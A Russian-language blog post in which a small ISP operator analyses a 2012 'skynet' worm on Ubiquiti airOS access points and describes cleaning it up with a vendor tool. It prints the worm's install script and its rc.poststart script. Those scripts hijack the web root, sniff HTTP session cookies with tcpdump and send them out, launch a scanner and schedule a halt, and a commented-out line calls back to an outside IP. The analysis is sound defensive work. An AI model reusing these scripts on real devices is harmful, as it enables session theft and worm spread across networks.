Skynet vs ubnt

Я, небольшой провайдер. Держу при себе примерно 500 точек nanostation locoM5 и пару десятков rocketM5.
13 сентября (256-й день) 2012 года — возникла глобальная проблема в моей сети wifi.
В определенный момент точки доступа просто выключались, а в логах промелькивал /etc/rc.d/rc stop
Стало интересно, кто же запустил эту команду, ведь пароли очень не простые, примерно такого содержания .
Было предпринято решение обновить прошивку на самую свежую. Скачав с сайта ubnt.com последний релиз прошивки и успешно ее залив на девайс rocketM5 пеерстал работать lighthttpd сервер. Старнно было такое наблюдать, но он выругивался на файл с настройками lighthttpd.conf

Прочитав содержимое файла нашел некие строчки с пугающей надписью skynet:
XM.v5.2.1# cat /etc/lighttpd.conf 
server.document-root = "/etc/persistent/.skynet"
include "/usr/etc/lighttpd/modules.conf"
include "/usr/etc/lighttpd/mimetypes.conf"
include "/usr/etc/lighttpd/lighttpd.conf"
airos.session-timeout = 900
server.port = 80

Вирус подменил каталог документов на http, а именно построил свой интерфейс усправления.
вот так выглядит эксплоит:
image
В нем возможны любые изменения, в том числе загрузка\выгрузка документов.
Ищем дальше…
Переходим в каталог /etc/persistent/.skynet
Находим большой список файлов, и наш подменянный admin.cgi

XM.v5.2.1# ls
100913.1802            dhcpc.cgi              ipscan.cgi             poll.cgi               slider-min.js.gz       style.css.gz
English.txt            dhcpc.js               jquery-ui.css          port_forward.cgi       slink.js               support.cgi
adm.cgi                dhcpc.js.gz            jquery-ui.css.gz       post                   slink.js.gz            survey.cgi
admin.cgi              dhcpcinfo.cgi          js                     post_file              sorttable.js           survey.css
admin2.cgi             discard.cgi            jsl10n.cgi             post_file_rep          sorttable.js.gz        survey.json.cgi
admina.cgi             favicon.ico            jsval.js               post_rep               speedtest.css          system.cgi
advanced.cgi           firewall.cgi           jsval.js.gz            post_rep2              sptest.cgi             system.js
airmax.cgi             fw.cgi                 language.cgi           pppinfo.cgi            sptest.js              system.js.gz
airview.cgi            fwflash.cgi            leases.cgi             progress.js            sptest.js.gz           test.cgi
airview.jar.pack.gz    get                    lib                    progress.js.gz         sptest_action.cgi      testdone.cgi
airview.jnlp           get_rep                link.cgi               pstt                   sroutes.cgi            throughput.cgi
ajax.js                get_rep2               log.cgi                reboot.cgi             sshd-authkeys.cgi      throughput.js
ajax.js.gz             head                   login.cgi              reset.cgi              sta.cgi                throughput.js.gz
apply.cgi              help                   login.css              routes.cgi             stainfo.cgi            ticket.cgi
arp.cgi                help.css               logo.cgi               scan                   stainfo.js             tool.cgi
blank.html             help.js                logout.cgi             scan_channels.cgi      stainfo.js.gz          traceroute.cgi
bluecurve.css          help.js.gz             network.cgi            send                   stakick.cgi            traceroute.css
boxsizing.htc          images                 network.js             sendcook               stalist.cgi            traceroute.js
brmacs.cgi             index.cgi              network.js.gz          services.cgi           stalist.js             traceroute.js.gz
cfg.cgi                index.html             pfw.cgi                signal.cgi             stalist.js.gz          traceroute_action.cgi
config.cgi             index.js               pingtest.cgi           signal.js              status-403.html        tt
cookies                index.js.gz            pingtest.css           signal.js.gz           status-404.html        tt2
deployJava.js          info.cgi               pingtest.js            signal_gui.cgi         status-500.html        upgrade.cgi
deployJava.js.gz       install                pingtest.js.gz         skynet.tgz             status.cgi             util.js
deployJava.txt         ipalias.cgi            pingtest_action.cgi    slider-min.js          style.css              util.js.gz

Из этого списка нас интересуют:
get get_rep get_rep2 head install post post_file post_file_rep post_rep post_rep2 scan send sendcook skynet.tgz
Оказывается поставить вирус под Linux UBNT-C26 2.6.15-5.2 можно только через install, жаль не нашел readme
XM.v5.2.1# cat install 
cd /etc/persistent/.skynet
mv /etc/persistent/skynet.tgz .
mv rc.poststart /etc/persistent
ln -s /usr/www/* ./
mv admin.cgi admin2.cgi
mv admina.cgi admina2.cgi
echo "404 Not found" > admin.cgi
echo "404 Not found" > adm.cgi
echo "404 Not found" > admina.cgi
cfgmtd -w -p /etc/
reboot

Собственно видим редактирование файлов adm*, получая 404.
Едем дальше у вкусному, файл rc.poststart

#!/bin/sh
sed -i 's/\/usr\/www/\/etc\/persistent\/.skynet/g' /etc/lighttpd.conf
kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`
ip=`ifconfig ath0 | grep inet | sed "s/.*inet addr:\([^ ]*\).*/\1/g"`

#sleep 60 && trigger_url http://178.216.144.75/probe.cgi/.gif?ip=$ip &

if [ -e /bin/tcpdump ]; then
tcpdump -A -s 0 -w - -l "tcp dst port 80" | grep "^Cookie: " | grep "xs=" >/etc/persistent/.skynet/tt &
/etc/persistent/.skynet/sendcook &
fi
(sleep 20 ; /etc/persistent/.skynet/scan) &
(sleep 100400 ; sleep 42 ; halt) &



В остальных скриптах идет отправка данных, ничего интересного.
Лечится все довольно просто, ubnt выпустила java утилиту, найти ее можно на форуме ubnt.
Утилита имеет 3 режима: поиск\поиск+лечение\поиск+лечение+прошивка (надеюсь стабильная)
Просканировав всю сеть — обнаружил 70% объектов.
Мои пользователи не пострадали, ведь отправить данные skynet не смог, не было ppp0 соединнеия на железках.
Спасибо за уделеное мне время.
Теги:
wifi, unbt, вирусы

Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.